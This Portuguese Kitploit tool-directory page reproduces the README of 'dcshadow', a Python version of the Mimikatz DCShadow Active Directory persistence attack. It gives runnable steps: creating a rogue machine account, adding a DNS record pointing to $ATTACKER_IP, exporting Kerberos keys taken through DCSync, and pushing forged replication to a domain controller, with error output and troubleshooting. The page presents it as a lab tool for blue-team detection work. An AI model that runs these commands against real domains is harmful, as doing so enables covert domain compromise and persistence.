Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
dcshadow — Python alternative to Mimikatz lsadump::dcshadow | Kitploit
Ferramentas/GitHubGitHub/shutdownrepo/dcshadow
Defensive ToolsPersistence MechanismsPost-ExploitationPenetration TestingRed Teaming
GitHubshutdownrepo/dcshadow

dcshadow

Python alternative to Mimikatz lsadump::dcshadow

Ver Repositório
16217há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

[!WARNING] NÃO EXECUTE EM PRODUÇÃO. Isso é destinado a testes de laboratório, para que os blue teams trabalhem na identificação de IoCs, tipos de eventos e comportamento. Além disso, esta ferramenta é fornecida como está. Nenhum suporte é planejado além da revisão padrão em pull requests que você possa criar. Não execute isso a partir de um host Windows. Faça isso a partir do Linux, ou de uma VM (para evitar conflitos de serviços RPC).

Teoria

Este projeto é uma alternativa puramente em Python à técnica dcshadow do Mimikatz. Isso inclui um Impacket personalizado com crypto, gssapi e drsuapi modificados, entre outras coisas.

DCShadow é uma poderosa técnica de persistência que pode ser considerada um transporte para outras técnicas, como SID history, KRBTGT RBCD, abuso de ACE, e mais.

Esta ferramenta pode ser uma base para um framework de persistência de AD mais versátil, que possa ser usado pela nossa comunidade para elevar nossa maturidade global no assunto.

Esta ferramenta foi testada no GOAD.

Mãos à obra

0. Instalação

root@kitploit:~
python3 -m venv venv
source ./venv/bin/activate
pip3 install -r ./requirements.txt
pip3 install ./impacket

1. Criar conta de máquina

Esta máquina será registrada como um controlador de domínio durante a duração da replicação e será desregistrada ao final.

root@kitploit:~
venv/bin/addcomputer.py -computer-name 'fake701$' -computer-pass '123soleil!' -method LDAPS -dc-host "kingslanding.sevenkingdoms.local" -dc-ip "192.168.10.10" -domain-netbios "sevenkingdoms" "sevenkingdoms.local"/"tyron.lannister":"Alc00L&S3x" -debug

[!WARNING] O adcomputer.py está modificado para definir msDS-SupportedEncryptionTypes como 0x1f. Os testes mais recentes parecem levantar uma violação de restrição.

root@kitploit:~
[+] Impacket Library Installation Path: /workspace/adpersist/venv/lib/python3.11/site-packages/impacket
Traceback (most recent call last):
 File "/workspace/adpersist/venv/bin/addcomputer.py", line 248, in run_ldaps
   raise Exception(str(ldapConn.result))
Exception: {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}
[-] {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}

Por enquanto, use o script addcomputer.py regular do Impacket e modifique msDS-SupportedEncryptionTypes manualmente por meio do ADSI edit.

2. Entrada de DNS para a máquina

Isso é necessário para que o DC legítimo saiba como alcançar o DC rogue e evitar erros ERROR_DS_DNS_LOOKUP_FAILURE.

root@kitploit:~
dnstool.py -u "sevenkingdoms.local"/"tyron.lannister" -p "Alc00L&S3x" --record 'fake701' --action add --data "$ATTACKER_IP" "kingslanding.sevenkingdoms.local"

[!TIP] Se o comando não funcionar por algum motivo, adicione a entrada de DNS manualmente por meio das ferramentas de DNS no controlador de domínio.

3. Credenciais do DC rogue

Quando começamos a desenvolver esta ferramenta, usávamos credenciais fixas em um arquivo .env, carregadas na função gss_kerberos_ap_req no arquivo dcshadow/utils/server/RpcServer.py.

Isso claramente precisa de uma atualização. A senha da conta do DC rogue poderia ser passada como argumento de CLI e as chaves Kerberos calculadas. Krbrelayx já faz isso, dacledit.py também, precisa de copiar e colar.

Por enquanto, você precisa exportar as chaves Kerberos como variáveis de ambiente.

Deve ficar assim:

root@kitploit:~
export RC4=652c1be004ef335aa218cfed8e9297fc
export AES128=710b676a1fec1c68edc44b759aace44a
export AES256=bc7564c2e7a2bc740c277ec39f8c5d81e03df8001b7d670f5b46c177242a8bbc

Essas chaves podem ser recuperadas por meio de um ataque DCSync.

4. DCShadow (arquivo JSON)

root@kitploit:~
python3 dcshadow.py --json repl.json --domain "sevenkingdoms.local" --user "cersei.lannister" --password "il0vejaime" --dc-ip "192.168.10.10" --legit-dc-fqdn "kingslanding.sevenkingdoms.local" --rogue-dc-name "fake701"

[!TIP] Neste caso, um arquivo repl.json é usado para especificar os objetos e atributos alvo. Alternativamente, a ferramenta suporta opções inline (por exemplo, --object, --attribute e --value).

Erros comuns

DRSReplicaAdd: tempo esgotado

Se o DRSReplicaAdd exceder o tempo limite, provavelmente é um problema de rede/firewall na máquina que executa dcshadow.py (o DC rogue), que provavelmente não está permitindo tráfego de entrada nas portas 135/TCP (epmapper) e 1337/TCP (ou porta dinâmica, se implementada no futuro, para drsuapi).

DRSReplicaAdd: rpc_s_access_denied

Você precisaria executar o Wireshark no controlador de domínio legítimo, mas a causa raiz mais provável é que você está tentando executar isso em uma máquina Windows, ou seja, quando o DC legítimo pergunta ao epmapper do seu DC rogue pela porta do endpoint drsuapi, a resposta é vazia, pois é o epmapper da sua própria máquina Windows que está respondendo e não o nosso personalizado.

Créditos

Este projeto não teria sido possível sem a imensa ajuda de Alessandro Iandoli "MrAle98", um pesquisador talentoso que conheci durante o desenvolvimento. Obrigado, Alessandro!

Os créditos vão para Benjamin Delpy e Vincent Letoux pela descoberta inicial, palestras e implementação no Mimikatz.

Gostaria de agradecer também ao Volker, que participou do desenvolvimento inicial.

Agradecimentos ao Dramelac pela ajuda em ir de PoC para um projeto modular, uma base para um framework futuro, se algum dia chegar lá.

Baixar ferramenta